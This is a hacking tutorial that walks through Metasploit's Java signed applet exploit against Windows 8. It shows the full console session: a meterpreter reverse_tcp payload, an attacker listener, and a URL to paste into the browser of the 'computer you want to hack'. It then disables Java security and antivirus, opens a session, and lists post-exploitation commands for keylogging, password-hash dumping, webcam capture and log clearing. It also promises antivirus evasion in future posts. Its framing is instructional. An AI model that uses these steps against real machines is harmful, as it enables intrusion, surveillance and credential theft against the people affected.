Purpose of this tutorial
In this tutorial we will look at how difficult it can be to hack modern operating systems. While you won't be getting the kind of results you were expecting, you will learn a lot here. The exploit will not work at first go, it will not work in the second go, it will eventually work, but we would have modified too many settings in the target OS to call it success. We will be using a pretty mainstream exploit here, the java signed applet exploit.
(Just in case you're new here. You need to have Kali Linux installed, as well as have some basic info about metasploit. Here is the collection of all tutorials. Read first few or maybe all. I write new posts assuming you've read the previous ones)
Hack any Windows Version
In the previous tutorials we have hacked Windows XP and tested a few Payloads and its features. In this tutorial, we will use a Java exploit to hack any Windows version. Now there are some things that you need to know-
- There are no 'type something on console and press enter' exploits for modern Operating Systems. They invest enough in security to patch any such vulnerabilities.
- The modern operating systems have exploits where the user has to do something like click on a link, install some program, and in our case, allow java plugin to be used.
- The Operating systems are quite secure, however the applications installed by the users almost always have some bugs which can be exploited, and then by privilege escalation methods, you can get a administrator shell. Jave is widely used, and is, unfortunately, quite secure (but we will still use a Java exploit here)
- If you have the latest OS and latest version of Java installed, then they already know how to deal with these kind of attacks and it won't work. We will use Windows 8 and Java 7 build 60 (I upgraded it today), and our exploit will not work. We will then see how to make it work. We will learn a lot of new things. Please follow along only if you have curiosity for knowledge, not just desire to hack.
Java Signed Applet Exploit (browser based exploit)
Some official words here, to help with your digestion-
This exploit dynamically creates a .jar file via the Msf::Exploit::Java mixin, then signs the it. The resultin
g signed applet is presented to the victim via a web page with an applet tag. The victim's JVM will pop a dialog asking if they trust the signed applet. On older versions the dialog will display the value of CERTCN in the "Publisher" line. Newer JVMs display "UNKNOWN" when the signature is not trusted (i.e., it's not signed by a trusted CA). The SigningCert option allows you to provide a trusted code signing cert, the values in which will override CERTCN. If SigningCert is not given, a randomly generated self-signed cert will be used. Either way, once the user clicks "run", the applet executes with full user permissions.
Follow these steps
Commands to execute in bold and red and instruction is green.
root@kali:~# service postgresql start[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:~# service metasploit start[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
root@kali:~# msfconsole _ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
Using notepad to track pentests? Have Metasploit Pro report on hosts,
services, sessions and evidence -- type 'go_pro' to launch it now.
=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1060 exploits - 659 auxiliary - 178 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
msf > use exploit/multi/browser/java_signed_applet (Java signed applet exploit) msf exploit(java_signed_applet) > show options
Module options (exploit/multi/browser/java_signed_applet):
Name Current Setting Required Description
---- --------------- -------- -----------
APPLETNAME SiteLoader yes The main applet's class name.
CERTCN SiteLoader yes The CN= value for the certificate. Cannot contain ',' or '/'
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
SigningCert no Path to a signing certificate in PEM or PKCS12 (.pfx) format
SigningKey no Path to a signing key in PEM format
SigningKeyPass no Password for signing key (required if SigningCert is a .pfx)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ----
1 Windows x86 (Native Payload)
msf exploit(java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp (meterpreter payload)PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(java_signed_applet) > show options
Module options (exploit/multi/browser/java_signed_applet):
Name Current Setting Required Description
---- --------------- -------- -----------
APPLETNAME SiteLoader yes The main applet's class name.
CERTCN SiteLoader yes The CN= value for the certificate. Cannot contain ',' or '/'
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
SigningCert no Path to a signing certificate in PEM or PKCS12 (.pfx) format
SigningKey no Path to a signing key in PEM format
SigningKeyPass no Password for signing key (required if SigningCert is a .pfx)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST IP needed here yes The listen address LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows x86 (Native Payload)
msf exploit(java_signed_applet) > set LHOST 192.168.154.134 (type ifconfig to find your Kali IP) LHOST => 192.168.154.134
msf exploit(java_signed_applet) > exploit
[*] Exploit running as background job.
msf exploit(java_signed_applet) >
[*] Started reverse handler on 192.168.154.134:4444
[*] Using URL: http://0.0.0.0:8080/ybfxLEoT
[*] Local IP: http://192.168.154.134:8080/ybfxLEoT (copy this and paste it into the browser of computer you want to hack)[*] Server started.
[*] 192.168.154.1 java_signed_applet - Handling request
[*] 192.168.154.1 java_signed_applet - Handling request
[*] 192.168.154.1 java_signed_applet - Handling request
msf exploit(java_signed_applet) >
On our Windows 8 machine
If you haven't installed Java then this is what you'll see.
If you have installed Java then this is what you'll see.
Now after you click run this time, you might end up seeing a dialog which blocked access to java plugin even after we allowed it.
If you are using an older version of Java, you might have gained access already, unless your antivirus detected the payload, which is basically a trojan (if you succeed here, a session will be created in metasploit, but it will be in background. See the end of tutorial to find out how to use that session and then come back here to see the scenario in case of Windows 8, there are things to learn) But it my case, now it's time to realize that we've taken a head on collision with a really secure operating system and the latest version of Java. Now, as I said, this will not work, but you can still give it your best shot.
Why won't it work
Java Sandbox
In technical terms : The java-sandbox allows you to securely execute untrusted code (for example, user generated scripts in scripting languages such as groovy or rhino) from within your application. It allows you to specify resources and classes that may be used by the code, thus, separating the execution from the application's execution environment. It allows to wrap execution environments in threads or even execute them remotely on different jvms.(sourceforge)
In less technical terms:In April, Oracle instituted a number of changes starting with Java 7u21. The new update introduced prompts warning users that an unsigned applet could potentially harm the user’s computer. This came months after Oracle changed Java’s default security settings from medium to high, essentially preventing unsigned applets from executing automatically, requiring instead a user to allow the applet to proceed. Developers must now sign their applets with a certificate from a trusted Certificate Authority. (threatpost)
In English : New versions of Java have an added feature known as Java sandbox. Whenever a java applet is loaded on a browser, it will firstly require user's permission to execute. After the user has given permission, the applet will load inside a sandbox (which is a runtime environment seperated from rest of the computer, like a cage, and the java applet is harmless as long as it is inside). That doesn't solve their problem though, as sandbox stops the Java applet to do much, thereby destroying the whole purpose, even for the genuine developers. So, Java restricts the unsigned applets from exercising much of their functionality, and only the signed applets can do anything. So, hats off to Oracle, for proving that even client side vulnerabilities are not that easy. And sorry to disappoint you guys, but I had to tell you how secure the modern operating systems are. Nevertheless, going to Java control panel, and security tab, will lead you to the conclusion that the Java security level is high by default. And even more mind boggling is the fact that the security levels are - medium, high, very high. Guess the days of 'low' security are gone. However, medium is just what we are looking for.
 |
| Sandbox is enabled in high level. |
 |
| Sandbox is disabled in medium level. That will solve our purpose here. |
Now we opened our java applet again and this time a really dangerous looking security warning dialog came up. Nevertheless, we clicked on "I accept" and then run.
As if this wasn't enough. Windows had to interfere. I could almost hear Windows Defender saying, Java is good, but Microsoft still trusts it's own antivirus for security. Our exploit failed yet again. This time it was the antivirus.
You might have guessed, disable the antivirus.
Now, finally, I refreshed the URL, accepted the warning and allowed the applet to run. I got a new session on Metasploit. The sweet smell of success was highly diluted by the fact that we really rigged the game in our favour. In a real life scenario, you can't expect the AV to be disabled and the security settings set to anything other than the default value.
Use the following commands to switch to the created sessions
msf exploit(java_signed_applet) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 Home\Me @ HOME 192.168.154.134:4444 -> 192.168.154.1:49682 (192.168.154.1)
msf exploit(java_signed_applet) > sessions -h
Usage: sessions [options]
Active session manipulation and interaction.
OPTIONS:
-K Terminate all sessions
-c Run a command on the session given with -i, or all
-d Detach an interactive session
-h Help banner
-i Interact with the supplied session ID
-k Terminate session
-l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s Run a script on the session given with -i, or all
-u Upgrade a win32 shell to a meterpreter session
-v List verbose fields
msf exploit(java_signed_applet) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
From here, all the meterpreter functionality is available. Here is a list which can be obtained by typing help on meterpretor.
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load'
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
Conclusion
If you've followed along so far, you might be feeling disappointed. While the feeling is natural, it is quite unnecessary. A better way to look at it is the first step in real world pentesting. All this while we were dealing with non-existent scenarios. Old unpatched grandma's Windows XP machines. These don't exist in the real world. In reality we have to deal with strong defenses, limited rights, antiviruses, firewalls, etc. Soon you'll be writing your own exploits (okay not that soon), and evading firewalls and antiviruses (what we did here is not called evasion, you can't simply turn off antivirus protection like that as you don't have access to the computer). In the next few tutorials we'll see how to get around all the things we did and shouldn't have done (disabling AV and reducing Java protection level). There are things that can't be avoided (the target has to go to a URL containing the applet and allow it to run), but we will try to make things as real world as possible. We will also move to some non-traditional exploits, as their AV detection rate is much less. We will look into encryption and anti-virus evasion in detail. Lot of things need to be done. Just remember, you are in hand to hand combat with one of the most secure systems you'll come across, and it's not gonna be easy.
Now, I've been dealing with beginners since a long time. What they want is magic. A tool which is easy to use, works on Windows, can be download by searching on Google and clicking on the first link we see, and will do all the hacking itself on the push of a button. Sadly, no such tool exists. Hacking is an art, and it takes years of practice to master it. So how to get started? Having no idea about hacking is okay, but being a newbie with computers in general is not allowed. When I say beginner, I mean someone who has no experience with programming and with hacking methodologies. I didn't mean someone who needs a 1 page guide on how to download a tool. If you want to be a hacker, you have to work hard. So how to get started? If you have installed Kali Linux, click here to skip past the installation paragraphs and go to hacking section of this post)
Articles
